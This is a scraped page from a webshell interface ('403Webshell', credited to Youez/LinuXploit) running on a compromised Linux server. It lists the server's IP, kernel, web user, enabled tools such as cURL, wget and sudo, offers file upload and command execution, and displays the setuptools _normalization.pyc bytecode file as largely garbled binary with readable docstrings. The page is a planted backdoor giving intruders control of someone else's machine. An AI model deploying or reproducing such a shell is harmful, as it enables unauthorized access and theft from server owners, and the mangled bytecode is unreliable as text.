403Webshell
Server IP : 178.105.222.151  /  Your IP : 216.73.216.38
Web Server : nginx/1.28.3
System : Linux MNK 7.0.0-15-generic #15-Ubuntu SMP PREEMPT_DYNAMIC Wed Apr 22 16:06:43 UTC 2026 x86_64
User : www-data ( 33)
PHP Version : 8.5.4
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /usr/lib/python3/dist-packages/setuptools/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/lib/python3/dist-packages/setuptools/__pycache__/_normalization.cpython-314.pyc
+
�h�����Rt^RIt^RIHt^RIt]P
!R]P4t]P
!R]P4t]P
!R]P4t	]P
!R]P4t
RRltR	R
ltRRlt
R
RltRRltRRltRRltRRltRRltRRlt^RIHtR# ]d]'g]tR#R#i;i)zZ
Helpers for normalization as expected in wheel/sdist/module file names
and core metadata
N)�
TYPE_CHECKINGz)^([A-Z0-9]|[A-Z0-9][A-Z0-9._-]*[A-Z0-9])$z
[^A-Z0-9._-]+z
[^A-Z0-9]+z,^v?(?P<safe>(?:[0-9]+!)?[0-9]+(?:\.[0-9]+)*)c�0�V^8�dQhR\R\/#)��name�return��str)�formats"�;/usr/lib/python3/dist-packages/setuptools/_normalization.py�__annotate__rs��	�	�#�	�#�	�c�f�\P!RRV4pVP4'gQhV#)z�Make a string safe to be used as Python identifier.
>>> safe_identifier("12abc")
'_12abc'
>>> safe_identifier("__editable__.myns.pkg-78.9.3_local")
'__editable___myns_pkg_78_9_3_local'
z
\W|^(?=\d)�_)�re�sub�isidentifier)r�safes& r
�safe_identifierrs0���6�6�-��d�+�D���������Krc�0�V^8�dQhR\R\/#)r�	componentrr)r	s"r
rrs��
2�
2��
2��
2rc�.�\PRV4#)z�Escape a component used as a project name according to Core Metadata.
>>> safe_name("hello world")
'hello-world'
>>> safe_name("hello?world")
'hello-world'
>>> safe_name("hello_world")
'hello_world'
�-)�_UNSAFE_NAME_CHARSr)rs&r
�	safe_namers���!�!�#�y�1�1rc�0�V^8�dQhR\R\/#�r�versionrr)r	s"r
rr+s��7�7�#�7�#�7rc�>�VPRR4p\\PP	V44# \PP
dB\PRT4p\\PP	T44u#i;i)a�Convert an arbitrary string into a valid version string.
Can still raise an ``InvalidVersion`` exception.
To avoid exceptions use ``best_effort_version``.
>>> safe_version("1988 12 25")
'1988.12.25'
>>> safe_version("v0.2.1")
'0.2.1'
>>> safe_version("v0.2?beta")
'0.2b0'
>>> safe_version("v0.2 beta")
'0.2b0'
>>> safe_version("ubuntu lts")
Traceback (most recent call last):
...
packaging.version.InvalidVersion: Invalid version: 'ubuntu.lts'
� �.r)�replacer�	packagingr�Version�InvalidVersionrr)r�v�attempts&  r
�safe_versionr&+s~��"	����S�!�A�7��9�$�$�,�,�Q�/�0�0�����+�+�7�$�(�(��a�0���9�$�$�,�,�W�5�6�6�7�s�'<�AB�Bc�0�V^8�dQhR\R\/#rr)r	s"r
rrDs��4�4��4��4rc��\V4# \PPd�TP	RR4p\
P
T4pT'dTR,pT\T4RpMRpTp\PRT4PR4pRT2PR4p\TRT24u#i;i)a�Convert an arbitrary string into a version-like string.
Fallback when ``safe_version`` is not safe enough.
>>> best_effort_version("v0.2 beta")
'0.2b0'
>>> best_effort_version("ubuntu lts")
'0.dev0+sanitized.ubuntu.lts'
>>> best_effort_version("0.23ubuntu1")
'0.23.dev0+sanitized.ubuntu1'
>>> best_effort_version("0.23-")
'0.23.dev0+sanitized'
>>> best_effort_version("0.-_")
'0.dev0+sanitized'
>>> best_effort_version("42.+?1")
'42.dev0+sanitized.1'
rrrN�0z
sanitized.z.dev0+)r&r!rr#r �_PEP440_FALLBACK�search�len�_NON_ALPHANUMERICr�strip)rr$�matchr�rest�	safe_rest�locals&      r
�best_effort_versionr3Ds���"
4��G�$�$�����+�+�4��O�O�C��%�� �'�'��*�����=�D��S��Y�[�>�D��D��D�%�)�)�#�t�4�:�:�3�?�	��Y�K�(�.�.�s�3���t�f�F�5�'�2�3�3�4�s�

�A
C�A%C�Cc�0�V^8�dQhR\R\/#)r�extrarr)r	s"r
rres��@�@�c�@�c�@rc�h�\PRV4PR4P4#)z�Normalize extra name according to PEP 685
>>> safe_extra("_FrIeNdLy-._.-bArD")
'friendly-bard'
>>> safe_extra("FrIeNdLy-._.-bArD__._-")
'friendly-bard'
r)r-rr.�lower)r5s&r
�
safe_extrar8es+��� � ��e�,�2�2�3�7�=�=�?�?rc�0�V^8�dQhR\R\/#�r�valuerr)r	s"r
rros��.�.�c�.�c�.rc�D�VPRR4PR4#)z�Normalize each component of a filename (e.g. distribution/version part of wheel)
Note: ``value`` needs to be already normalized.
>>> filename_component("my-pkg")
'my_pkg'
rr)r r.�r;s&r
�filename_componentr>os ���=�=��c�"�(�(��-�-rc�0�V^8�dQhR\R\/#r:r)r	s"r
rrxs��#�#�S�#�S�#rc�&�VPRR4#)z�
Produce the incorrect filename component for compatibility.

See pypa/setuptools#4167 for detailed analysis.

TODO: replace this with filename_component after pip 24 is
nearly-ubiquitous.

>>> filename_component_broken('foo_bar-baz')
'foo-bar-baz'
rr)r r=s&r
�filename_component_brokenrAxs���=�=��c�"�"rc�0�V^8�dQhR\R\/#r:r)r	s"r
rr�s��	�	�c�	�c�	rc��\P!RR\V44P4P	RR4#)zBLike ``safe_name`` but can be used as filename component for wheelz[-_.]+rr)rrrr7r r=s&r
�
safer_namerD�s1��
	���y�#�y��/�0�	���	���c�	�rc�0�V^8�dQhR\R\/#r:r)r	s"r
rr�s��:�:�S�:�S�:rc�*�\\V44#)zLLike ``best_effort_version`` but can be used as filename component for wheel)r>r3r=s&r
�safer_best_effort_versionrG�s���1�%�8�9�9rc�0�V^8�dQhR\R\/#)r�
expressionrr)r	s"r
rr�s�������rc��\R4h)a
Defer import error to affect only users that actually use it
https://github.com/pypa/setuptools/issues/4894
>>> _missing_canonicalize_license_expression("a OR b")
Traceback (most recent call last):
...
ImportError: ...Cannot import `packaging.licenses`...
z�Cannot import `packaging.licenses`.
        Setuptools>=77.0.0 requires "packaging>=24.2" to work properly.
        Please make sure you have a suitable version installed.
        )�ImportError)rIs&r
�(_missing_canonicalize_license_expressionrL�s���	��r)�canonicalize_license_expression)�__doc__r�typingrr!�compile�I�_VALID_NAMErr-r*rrr&r3r8r>rArDrGrL�packaging.licensesrM� _canonicalize_license_expressionrK�rr
�<module>rVs����

� ���j�j�E�r�t�t�L���Z�Z� 0�"�$�$�7���J�J�}�b�d�d�3���:�:�M�r�t�t�T��	�
2�7�24�B@�.�#�	�:��$T����T��+S�(��T�s�C
�
C"�C"�!C"

Youez - 2016 - github.com/yon3zu
LinuXploit